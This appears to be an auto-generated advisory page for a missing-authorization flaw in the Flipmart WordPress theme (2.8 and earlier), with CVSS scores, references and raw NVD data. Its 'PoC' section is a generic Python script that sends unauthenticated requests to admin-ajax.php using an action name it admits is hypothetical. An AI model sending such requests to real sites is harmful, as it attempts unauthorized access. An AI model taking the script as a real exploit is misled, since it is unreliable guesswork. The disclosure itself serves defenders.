CVE-2026-39716

Description

Missing Authorization vulnerability in CKThemes Flipmart flipmart allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Flipmart: from n/a through <= 2.8.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

CKThemes Flipmart <= 2.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: CKThemes Flipmart Missing Authorization PoC
# Date: 2026-04-08
# Exploit Author: Analyst
# Vendor Homepage: https://ckthemes.com/
# Version: <= 2.8

target_url = "http://target-site.com"

# Example vulnerable endpoint often found in WP themes (admin-ajax.php)
# Replace 'vulnerable_action' with the specific action name if known
payload = {
    'action': 'flipmart_vulnerable_action',  # Hypothetical action name
    'param': 'malicious_data'
}

try:
    response = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=payload)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if unauthorized action occurred.")
        print(f"[+] Response: {response.text[:100]}")
    else:
        print("[-] Request failed.")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39716
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39716
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39716/
[4] VulDB https://vuldb.com/cve/CVE-2026-39716
[5] https://patchstack.com/database/Wordpress/Theme/flipmart/vulnerability/wordpress-flipmart-theme-2-8-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39716", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:44.663", "lastModified": "2026-04-29T10:17:44.193", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in CKThemes Flipmart flipmart allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Flipmart: from n/a through <= 2.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/flipmart/vulnerability/wordpress-flipmart-theme-2-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}